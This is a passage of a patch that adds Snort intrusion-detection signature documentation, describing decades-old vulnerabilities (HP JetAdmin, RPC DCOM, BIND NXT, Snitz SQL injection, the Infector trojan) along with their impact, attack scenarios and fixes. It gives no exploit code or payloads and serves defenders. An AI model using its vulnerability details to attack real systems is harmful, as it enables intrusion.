+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft MSDN:
+http://msdn.microsoft.com/library/en-us/tsqlref/ts_sp_da-di_8nas.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2548.txt
+++ snort-2.8.5.2/doc/signatures/2548.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2548
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with the web interface support for the HP JetAdmin printer.
+
+--
+Impact:
+A successful attack may allow unauthorized files to be read or the injection 
+of a .hts script on a vulnerable server.
+
+--
+Detailed Information:
+The HP Web JetAdmin provides a web interface for the administration of the HP
+Web JetAdmin printer.  A vulnerability exists that allows unauthorized
+files to be read or a .hts script to be executed.  This is caused when the
+/plugins/hpjdwm/script/test/setinfo.hts script is supplied a value to the
+setinclude parameter that represents an unauthorized file to be read outside
+the web root or represents a .hts file that will be executed with system
+privileges on the vulnerable server. 
+
+--
+Affected Systems:
+HP Web JetAdmin 7.2.
+
+--
+Attack Scenarios:
+An attacker can execute the vulnerable script and supply a value to setinclude
+indicating an unauthorized file to be read or an .hts file to be executed. 
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+An authorized administrator who uses the setinclude parameter with the above
+script from a source IP outside of the trusted network will cause a false positive alert.
+
+--
+False Negatives:
+The default HP Web JetAdmin port is 8000.  If an administrator selects a different port
+on which to run the web interface, no alert will be detected.  In that case, the rule
+should be altered to reflect the port on which the web interface runs.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software or apply the appropriate patch
+when it becomes available.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/9972
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2446.txt
+++ snort-2.8.5.2/doc/signatures/2446.txt
@@ -0,0 +1,82 @@
+Rule:  
+
+--
+Sid:
+2446
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in multiple versions of Internet Security Systems software.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible leading to unauthorized 
+access to the affected host. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the way that multiple ISS products parse ICQ
+messages. This can lead to execution of arbitrary code on hosts using
+the affected products.
+
+Due to insufficient bounds checking when ISS products parse protocol
+fields in ICQ SRV_META_USER data, a buffer overflow condition can be
+exploited to give an attacker the opportunity to execute arbitrary code
+and gain unauthorized administrative access to the host.
+
+It is possible that this condition can be exploited without the need for
+an established and valid ICQ session. The attacker could create packets
+originating from a host on port 4000 and send specially crafted data to 
+exploit the condition.
+
+--
+Affected Systems:
+	RealSecure Network 7.0, XPU 22.11 and prior
+	RealSecure Server Sensor 7.0 XPU 22.11 and prior
+	RealSecure Server Sensor 6.5 for Windows SR 3.10 and prior
+	Proventia A Series XPU 22.11 and prior
+	Proventia G Series XPU 22.11 and prior
+	Proventia M Series XPU 1.9 and prior
+	RealSecure Desktop 7.0 ebl and prior
+	RealSecure Desktop 3.6 ecf and prior
+	RealSecure Guard 3.6 ecf and prior
+	RealSecure Sentry 3.6 ecf and prior
+	BlackICE Agent for Server 3.6 ecf and prior
+	BlackICE PC Protection 3.6 ccf and prior
+	BlackICE Server Protection 3.6 ccf and prior
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2094.txt
+++ snort-2.8.5.2/doc/signatures/2094.txt
@@ -0,0 +1,87 @@
+Rule:
+
+--
+Sid:
+2094
+
+--
+Summary:
+vulnerability in the rpc service for the Calendar Manager Service Daemon
+(CMSD) used by XDR.
+
+--
+Impact:
+System compromise, denial of service, execution of arbitrary code, 
+information disclosure.
+
+--
+Detailed Information:
+A vulnerability exists in various implementations of external data 
+representation (XDR) libraries. An integer overflow in a component 
+(xdr_array) used by XDR can lead to a buffer overflow.
+
+The XDR libraries are widely used by multiple vendors to provide a 
+framework for data transmission across networks. This is most commonly 
+used in RPC implementations.
+
+A specially crafted rpc request containing a large number of arguments 
+to xdr_array can lead to remote system compromise and super user access 
+to the target host. Additionally, a denial of service and execution of 
+arbitrary code with the privilege of the super user is also possible 
+depending on the platform used.
+
+--
+Affected Systems:
+Multiple verndors including all those using:
+	Sun Microsystems Network Services Library (libnsl)
+	GNU C library with sunrpc (glibc)
+	BSD-derived libraries with XDR/RPC routines (libc)
+
+--
+Attack Scenarios:
+The attacker needs to send a specially crafted rpc request containing a 
+large number of arguments for xdr_array to the target host.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade the vendor libraries to the latest non-affected versions. Any 
+statically linked binaries and applications must be recompiled and 
+restarted after the upgrade.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/5356
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0391
+
+CERT:
+http://www.cert.org/advisories/CA-2002-25.html
+http://www.kb.cert.org/vuls/id/192995
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2134.txt
+++ snort-2.8.5.2/doc/signatures/2134.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+
+
+--
+Summary:
+This event is generated when an attempt is made to access the file register.asp directly.
+
+--
+Impact:
+Possible administrator access and arbitrary command execution.
+
+--
+Detailed Information:
+Snitz Forums is an Active Server Page (asp) application running on Microsoft Internet Information Server. A vulnerability exists in Snitz Forums that can allow an attacker to inject SQL code of his choice into the application. The file register.asp contains a flaw that can allow an attacker to gain administrator access to the site. 
+
+The attacker may be trying to gain administrator access to the host, garner information on users of the system, retrieve sensitive information or be attempting to execute arbitrary code.
+
+--
+Affected Systems:
+Any host using IIS with Snitz Forums.
+
+--
+Attack Scenarios:
+An attacker may inject SQL code of his choice. The attacker might then gain administrator access to the host or database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a site not running Snitz Forums uses a file named register.asp this rule will generate an event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3239.txt
+++ snort-2.8.5.2/doc/signatures/3239.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3239
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/460.txt
+++ snort-2.8.5.2/doc/signatures/460.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+460
+
+--
+
+Summary:
+This event is generated when an ICMP Type 2 datagram with an undefined ICMP Code is detected on the network. 
+
+--
+
+Impact:
+ICMP Type 2 datagrams are not currently used by any known devices.
+
+--
+
+Detailed Information:
+ICMP Type 2 is not defined for use and is not expected network activity.  Any ICMP datagram with an undefined ICMP Code should be investigated.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 2 datagrams
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/916.txt
+++ snort-2.8.5.2/doc/signatures/916.txt
@@ -0,0 +1,62 @@
+SID:
+916
+--
+
+Rule:
+--
+
+Summary:
+This even indicates an attempt to exploit undocumented CFML tags on a 
+Allaire ColdFusion Server
+--
+
+Impact:
+Extensive server data retrieval including settings and passwords
+--
+
+Detailed Information:
+Undocumented CFML tags allow reading and decryption of sensitive data 
+contained on servers running Allaire ColdFusion Server 2.0 - 4.0.1. This
+data can be accesses by constructing a hosted application that accesses 
+these undocumented tags with the possibility of changing values on the 
+server and reading admin and studio passwords
+--
+
+Affected Systems:
+	Allaire ColdFusion Server 2.0 - 4.0.1
+--
+
+Attack Scenarios:
+A user with permission to create pages on the server installs an 
+application that accesses the undocumented CFML tags, accessing this 
+application would allow viewing and possible modifications of these 
+settings
+--
+
+Ease of Attack:
+Medium, Attackers need the ability to add files to the server. No "In 
+the Wild" exploits were available at type of writing
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Patches are available from Allaire, install them.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1691.txt
+++ snort-2.8.5.2/doc/signatures/1691.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1691
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/308.txt
+++ snort-2.8.5.2/doc/signatures/308.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid: 308
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow condition in certain versions of NextFTP for Windows.
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code.
+
+--
+Detailed Information:
+Certain versions of the NextFTP client from ToxSoft contain a programming error that allows an FTP server to issue commands on the client via exploit code in the server reply.
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Use Secure Shell (ssh) for file transfer as opposed to FTP.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0671
+
+Bugtraq:
+http://www.securityfocus.com/bid/572
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000356.txt
+++ snort-2.8.5.2/doc/signatures/100000356.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000356
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BASE" application running on a webserver. Access to the file "base_qry_common.php" using a remote file being passed as the "BASE_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "BASE_path" parameter in the "base_qry_common.php" script used by the "BASE" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BASE
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2053.txt
+++ snort-2.8.5.2/doc/signatures/2053.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+2053
+
+--
+Summary:
+Versions of the software tracking system Bugzilla prior to 2.14.1 are 
+prone to a vulnerability that allows some degree of account hijacking.
+
+--
+Impact:
+False data may be represented in the bug tracking database.
+
+--
+Detailed Information:
+Versions of Bugzilla prior to 2.14.1 and cvs version 2.15 prior to 
+20020103 allow non-authorized users to post comments as any user of 
+their choosing, including non-valid usernames.
+
+A check to verify the user is valid when posting comments is not 
+performed correctly. Using this an attacker might post comments as 
+another user in the bugzilla database.
+
+--
+Affected Systems:
+Bugzilla versions prior to 2.14.1 and cvs versions prior to 2.15 (cvs20020103)
+
+--
+Attack Scenarios:
+The attacker can manually edit the page to pass his own version of 
+variables to the script handling the comments. This script in turn 
+passes the data directly to another script that handles the posting of 
+bugs without checking the user database.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade Bugzilla to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0008
+
+Bugzilla:
+http://www.bugzilla.org/security/2.14.1/
+http://bugzilla.mozilla.org/show_bug.cgi?id=108385
+http://bugzilla.mozilla.org/show_bug.cgi?id=108516
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000126.txt
+++ snort-2.8.5.2/doc/signatures/100000126.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+100000126
+
+-- 
+Summary: 
+This event is generated when an attempt is made to overflow a buffer in the 
+GoodTech Telenet server.
+
+-- 
+
+Impact: 
+The affected server will be crashed, and remote code execution with the 
+privileges of the user running the telnet server is possible.
+
+--
+Detailed Information:
+If the GoodTech telnet server recieves 10,083 bytes before a newline, a buffer 
+will be overflowed. If properly crafted data is sent, arbitrary code may be 
+executed with the privileges of the user running the server. Note that the rule 
+looks for 1,000 or more bytes before a newline, due to limitations which do not 
+allow a search for the full number of bytes required for the exploit.
+
+--
+Affected Systems:
+GoodTech Telnet Server 4.0
+GoodTech Telnet Server 5.0
+
+--
+
+Attack Scenarios: 
+A script must be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as public exploits exist.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Upgrade to version 5.0.7 of the affected software.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/117.txt
+++ snort-2.8.5.2/doc/signatures/117.txt
@@ -0,0 +1,112 @@
+Rule:
+
+--
+Sid:
+117
+
+--
+Summary:
+Infector is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data via download, upload of files, execution of files
+and reboot the targeted machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Infector sever to
+programs normally started on boot. Due to the nature of this Trojan it 
+is unlikely that the attacker's client IP address has been spoofed.
+
+	SID	Message
+	---	-------
+	117	Infector 1.x
+	120	Infector 1.6 Server to Client
+	121	Infector 1.6 Client to Server Connection Request
+
+This Trojan is commonly used to install other Trojan programs.
+
+The Trojan also makes changes to the system registry and win.ini file.
+
+Notification of an active server is achieved via IRC or ICQ.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This 
+event is indicative of an existing infection being activated. Initial 
+compromise can be in the form of a Win32 installation program that may 
+use the extension ".jpg" or ".bmp" when delivered via e-mail for 
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. 
+Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is located at <drive>:\WINDOWS\Apxil32.exe a backup 
+copy is made and usually named D3x32.drv.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a 
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
+
+Registry keys added are:
+
+	apxil32 = apxil32.exe
+
+Removal of this entry is required.
+
+Delete the file <drive>:\WINDOWS\Apxil32.exe
+
+Ending the Trojan process is also necessary. A reboot of the infected 
+machine is recommended.
+
+A change is also made to the win.ini file, the line run=apxil32.exe 
+apxil32.exe is added and should be deleted.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS315
+http://www.whitehats.com/info/IDS502
+http://www.whitehats.com/info/IDS503
+
+Diamond Computer Systems Security Advisory
+http://www.diamondcs.com.au/web/alerts/infector.htm
+
+Megasecurity:
+http://www.megasecurity.org/trojans/i/infector/Infector_all.html
+
+Simovits:
+http://www.simovits.com/trojans/tr_data/y1627.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1422.txt
+++ snort-2.8.5.2/doc/signatures/1422.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+
+1422
+
+--
+Summary:
+This event is generated when an attempt is made to issue an attack against a machine using SNMP v1.
+
+--
+Impact:
+Varies depending on the implementation. Ranges from Denial of Service (DoS) to code execution.
+
+--
+Detailed Information:
+SNMP is a widely adopted protocol for managing IP networks, including individual network devices, and devices in aggregate. 
+
+Several network devices come pre-installed with this protocol for management and monitoring.
+
+A number of vulnerabilities exist in SNMP v1, including a community string buffer overflow, that will allow an attacker to execute arbitrary code or shutdown the service.
+
+--
+Affected Systems:
+Any implementation of SNMP v1 protocol
+	
+--
+Attack Scenarios:
+An attacker needs to send a specially crafted packet to UDP port 161 of a vulnerable device, causing a Denial of Service or execution of any command.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable SNMP v1 protocol, use SNMP v2 protocol.
+
+Use Ingress/Egress filtering on a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-03.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1992.txt
+++ snort-2.8.5.2/doc/signatures/1992.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+1992
+
+--
+Summary:
+This event is generated when an attempt is made to list directories outside the ftp root directory.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can lead to information disclosure and possible exposure of sensitive system information.
+
+--
+Detailed Information:
+Some versions of the QVT FTP server from QPC Software allows browsing the directory structure of a host using a directory traversal technique.
+
+--
+Affected Systems:
+QPC Software QVT/Net 4.0 for Windows NT, 2000 and 9x
+QPC Software QVT/Term 5.0 for Windows NT, 2000 and 9x
+Other FTP servers may be vulnerable
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal technique, to browse folders outside the ftp root directory. Information gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2378.txt
+++ snort-2.8.5.2/doc/signatures/2378.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2378
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Checkpoint VPN-1.
+
+--
+Impact:
+Unauthorized administrative access to Checkpoint VPN-1 systems
+
+--
+Detailed Information:
+Checkpoint VPN-1, SecuRemote and SecureClient contain an error that
+affects the processing of large Certificate requests to the VPN service.
+By sending a large amount of data in the Certificate Request payload an
+attacker may cause a buffer overflow condition to occur, presenting an
+opportunity to execute code of their choosing with the privileges of the
+user running the service, usually root.
+
+--
+Affected Systems:
+	CheckPoint Software FW-1 1.4.1 Service packs prior to SP6
+	CheckPoint Software FW-1 Next Generation FP1, FP0
+	CheckPoint Software VPN-1 1.4.1 SP5a
+	CheckPoint Software VPN-1 Next Generation FP1, FP0
+
+--
+Attack Scenarios:
+An attacker could supply a large Certificate Request payload containing
+code to be executed on the system.
+
+--
+Ease of Attack:
+Proof of concept code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000562.txt
+++ snort-2.8.5.2/doc/signatures/100000562.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000562
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "GL-SH Deaf Forum" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "sort" parameter in the "show.php" script used 
+by the "GL-SH Deaf Forum" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using GL-SH Deaf Forum
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/261.txt
+++ snort-2.8.5.2/doc/signatures/261.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+260
+
+--
+Summary:
+This event is generated by an attempted buffer overflow associated with incorrect validation of NXT records.
+
+--
+Impact:
+Severe. The DNS server can be compromised allowing the attacker access with the privileges of the user running BIND.  This attack is sometimes referred to as ADMROCKS because a subdirectory named ADMROCKS is placed in the directory associated with BIND software. 
+
+--
+Detailed Information:
+Improper validation of DNS NXT records may allow an attacker to perform a buffer overflow.  This can allow execution of arbitrary code with the privileges of the user running BIND.
+
+--
+Affected Systems:
+BIND versions 8.2 up to, but not including, 8.2.2.
+
+--
+Attack Scenarios:
+An attacker can launch this exploit to gain remote access to the DNS server.
+
+--
+Ease of Attack:
+Simple.  Code exists to exploit the buffer overflow.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to a version of BIND 8.2.2, or greater or patch vulnerable versions of BIND.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-1999-14.html
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0833
+
+Bugtraq:
+http://www.securityfocus.com/bid/788
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1795.txt
+++ snort-2.8.5.2/doc/signatures/1795.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1795
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "ejaculat".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "ejaculat".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2301.txt
+++ snort-2.8.5.2/doc/signatures/2301.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2301
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
